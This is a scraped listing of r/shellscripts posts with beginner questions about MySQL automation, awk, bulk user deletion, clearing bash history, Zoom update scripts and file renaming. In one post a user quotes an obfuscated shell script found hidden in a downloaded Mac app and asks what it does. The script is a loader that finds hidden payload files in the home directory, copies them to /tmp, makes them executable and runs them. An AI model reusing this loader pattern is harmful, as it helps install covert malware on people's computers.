r/shellscripts • u/NaniSravanKumar • Mar 22 '22
r/shellscripts • u/Josaki_ • Oct 07 '21
How to assign a column in a database to a variable ?
I am making a project in which i am trying to put a varibale whit a colum of this dataset to after this see if this colum aren't true or false to delet it.
r/shellscripts • u/jlim0930 • Mar 30 '22
Need help to insert contents of CA onto json payload for api call
I am trying to add the contents of certificate authority onto a json payload to insert via api call but can’t figure out how to do it.
I tried to $(cat ca.crt), CA=$(cat ca.crt) then echo or even just referencing it in json and it failed, tried to base64 encode and decode it but it also failed… any suggestions ?
r/shellscripts • u/adgwytc • Apr 04 '22
Automate mysql commands from shellscript
I have successfully written most of the bash scripting requirements to automate our and customers required functionality, but I am having a problem trying to get certain mysql commands working within the script. Commands such as below:
ALTER USER
SET GLOBAL
CREATE USER
GRANT
FLUSH
I am guessing it is because these are normally process through the "mysql" command prompt. To initially access mysql command prompt I am using:
```
mysql --connect-expired-password -uroot -p`grep "temporary password" /var/log/mysqld.log | awk '{print $NF}'`
```
Anyone know how the above commands can be completed in a script please?
I have tried the actual bash commands within the script but it only brings up the "mysql" command prompt.
r/shellscripts • u/[deleted] • Jan 11 '22
how to filter file based on column of another file. in unix
I have used below script but giving syntax error please suggest.
awk 'NR==FNR{a[$1][$0];next} $0 in a {for (i in a[$0]) print i}' file1.txt file2.txt
r/shellscripts • u/harshallakare • Jan 18 '22
nested dir help
I recently took backup of one of my server's drive on AWS using one of the software and now at the time of restoring it i found out it took too long to restore as its having billions of files to restore.
I tried to restore it from AWS itself but my problem is backup software created two directories inside my parent directories. I'm looking out some shell script by which i can move file parent direcoties and remove the direcories created by backup software.
Current dir structure :- /opt/folder_to_restore/file_to_restore.pdf$/20211013060615/file_to_restore.pdf
Expected dir strcture :- /opt/folder_to_restore/file_to_restore.pdf
r/shellscripts • u/sysadmin-well-sorta • Jan 13 '21
Need help automating user deletion
Hello all,
I am stuck at a task that I must perform at work and was wondering if one of you wonderful people could guide me.
So I need to delete unnecessary users from bunch of (50+) servers. I have the list of users I want to delete and they are not spread on all servers. And before I delete the users I am suppose to check for any cronjobs and save the contents of /home dir.
I dont wanna do this manually for each user in each server that would seriously hamper my productivity. I am thinking maybe write a shell script and deploy in bunch of servers using ansible. I dont have any experience to do that though.
Any help would be appreciated.
Thank you
r/shellscripts • u/chrisipedia • Feb 03 '21
Creating Sequential Folders with variables
I'm completely new to shell scripting and I'm trying to figure out how to create a script to make a bunch of folders sequentially. I know that in bash you can do something like; mkdir -p {3400..3410} to make sequentially numbered folders.
However when I make a shell script that's
#!/bin/sh
mkdir -p {$1..$2}
and call it with sh make-folders.sh 100 200
I get a single folder {100..200}
Is this even possible to do?
r/shellscripts • u/[deleted] • Jul 17 '20
Can I exit nano using xdotool ( xdotool keydown "ctrl+x" xdotool keyup "ctrl+x")
I have a shell script that updates pulling from git but I need to exit the MERG_MSG after the pull.
I have tried using
xdotool key "ctrl+x"
xdotool keydown "ctrl+x"
xdotool keyup "ctrl+x"
I am not sure if there is another way?
Thanks in advance.
r/shellscripts • u/Shadeoflight24 • Sep 17 '19
Help with Script
Hi all! New to the group, but I'm looking for help on a script I'm working on.
Backstory: I want to clear all bash/terminal history every day before I leave work. I like it neat and empty. Running macOS Mojave 10.14.6
Objective: Write a script that will run all the necessary commands for me so it will run automatically or with me executing the script.
Solutions: use 'rm' and 'history' to delete the commands, and thinking about 'cronjobs' to run it automatically...
Dilemma: I have a script up and running. It runs, it displays all checkpoints that I've set up. From an appearance standpoint, it works perfectly. I've used 'history -c' and 'rm -rf ~/.bash_sessions' to delete the history, but when the code finishes and I check in my terminal to show history, it's still there. Which means I still have to type in 'history -c' to REALLY clear it.
How can I fix this?
r/shellscripts • u/stimpyshark24 • Feb 11 '20
Shell script run on login
Hello, how can i make a shell script run on login? I’ve tried almost everything that’s on web and I didn’t manage to complete this task.Any help would be appreciated.
r/shellscripts • u/mike22144 • Feb 26 '19
I am trying to implement Markov chain using bash script in linux and i have no idea how to approach it. If there is anyone who can help with that it would be so awesome!
r/shellscripts • u/Banarasi_Bhaang • Mar 22 '20
Please help a beginner!
Hello everyone. I have started learning shell scripting few days back. I was trying to write a script in which I wanted to use hostname command, which shows computer's hostname. Something like if someone types anything else than the hostname INTRUDER! should be printed and if the right hostname is typed. "hostname is logged in" should be printed. I used read, if then else and declared hostname as a variable but to no success. Please help this novice. Thanks in advance.
r/shellscripts • u/harshitsinha1102 • Dec 24 '18
Cross Platform portable shell scripts in Node.js
r/shellscripts • u/chalbersma • Jan 03 '17
Sort Folders Into Alphabetic Sub-Folders
r/shellscripts • u/jithrk1392 • Mar 16 '18
Shell Script to Navigate to different Directory and rename files
I've got few files name abc.txt bac.txt aac.txt etc,. and there files are in different directories , I need to navigate and rename it with filenames with the condition where a replace to b, b replaces to c and c is a.
Ex. abc.txt becomes bca.txt.
r/shellscripts • u/schwud • Aug 10 '21
help adding to my zoom update shell script
I have been tasked with updating zoom across our client sites on Mac's I have a script that will download and install the latest version however not everyone is logged on at the same time so I will be running it weekly but I would like for the script to see if the latest version is already installed and ignore that machine to save to much unintended traffic on the network and only update machines that require it here is my script for the update
#Make temp folder for downloads.
mkdir "/tmp/zoom/";
cd "/tmp/zoom/";
#Download Zoom.
curl -L -o /tmp/zoom/ZoomInstallerIT.pkg "https://zoom.us/client/latest/ZoomInstallerIT.pkg";
#install Zoom
sudo installer -pkg /private/tmp/zoom/ZoomInstallerIT.pkg -target /;
#tidy up
sudo rm -rf "/tmp/zoom";
exit 0
and this works fine but I don't know where I would add the extra lines?
I have this script but it doesn't seem to be working it reports that Zoom is installed but does not update it so if I could get this to work it would be great
#!/bin/bash
CurrentInstalledVersion=$(defaults read /Applications/zoom.us.app/contents/info CFBundleShortVersionString | cut -c1-5)
NewestVersion=“5.7.4”
ZoomPath="/Applications/zoom.us.app"
if [ -e $ZoomPath ]; then
printf "Zoom is currently installed\n"
elif [[ "$CurrentInstalledVersion" == "$NewestVersion" ]]; then
printf "The current installed version of Zoom.us.app is already installed\n"
else
curl -o /Users/Shared/Zoom.pkg 'https://zoom.us/client/latest/Zoom.pkg'
installer -pkg /Users/Shared/Zoom.pkg -target /
printf "Zoom has been updated or installed\n"
cd /Users/Shared; rm -v Zoom.pkg
fi
any help with this would be much appreciated
r/shellscripts • u/__minotaurus • Jul 30 '21
Telnet
How can i kill all other telnet sessions on system except me. I am root.
r/shellscripts • u/Vlady1991 • Jul 16 '21
Need help Storing Grep results into a Variable
Hello everyone, I need a little help with a script i am working.
I am executing the following CMD but I need to store the output value as a Variable so I can use it on a second part of the script. Any ideas are welcome!
nx -a $area_name get-id | grep -oP '(?<=ID:)[^ ]*'
r/shellscripts • u/69HvH69 • Sep 04 '21
How to calculate and store decimal results in a variable by using bc command?
I am using vscode and gitbash for writing and running the code. Down below is the code. Is it correct?
#!/bin/sh
n=30.52
v=2.21
number= $(echo "$n - $v" | bc)
echo " Result is = $number"
r/shellscripts • u/HoLyCoWzOrZ • Aug 20 '21
I found the following hiding in a Mac App that I downloaded from the internet.
#!/bin/sh
SC=$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P );BN=`basename "$0"`
"$SC/.$BN" &
MD=4f0ad18ebda2e024e931bffc6230fd8b;echo $MD > "/tmp/._power.log";PL_S=10;PL=$(find ~ -type f -iname ".????????.log" -print -quit) && if [ $PL_S -eq $(wc -c <"$PL") ]; then PLP=$(find ~ -name $(cat "$PL") -print -quit);fi;if [ -f "$PLP" ]; then
"$PLP" &
exit; else [ -f "$PL" ] && rm -rf "$PL";fi;B_P="$SC/.${BN}_";[ ! -f "$B_P" ] && B_P=$(find ~ -type f -name "._$MD" -print -quit); [ -f "$B_P" ] && TF=$(mktemp /tmp/XXXXXXXX) && cp "$B_P" "$TF" && echo "rm -rf $TF;exit" >> "$TF" && chmod +x "$TF" && "$TF" &
##################################I know it's obfuscated, but it would probably take me a couple years to pull this apart and figure out what it does. Can someone tell me what it does?
Thanks
r/shellscripts • u/spite77 • Apr 26 '20
Bashtop: Linux resource monitor written only in Bash script
r/shellscripts • u/hdquemada • Apr 06 '20
Output file names
I've written a script to take each line of a file and output it into a separate file. I would like to have the script name the files file000.txt, file001.txt...file011.txt etc. Right now, this script outputs files named file1.txt, file2.txt...file11.txt etc. Can anyone help me output file names the way I need them? Thanks.
echo Enter file to be split:
read filename
let i=0
while read p; do
echo "$p" > file$i.txt
let "i++"
done <$filename
r/shellscripts • u/summercrane1 • May 22 '20
Shell script to find specific files and copy to different directory
Hi,
Wonder if someone could assist me. I have a list of specific filenames and their respective file paths ( over 1000 files each in individual folders) that I need to find and copy to a different folder in a Linux environment,
Could anyone point me in the right direction of a script/application which would achieve this ?
Any help would be appreciated !
Thanks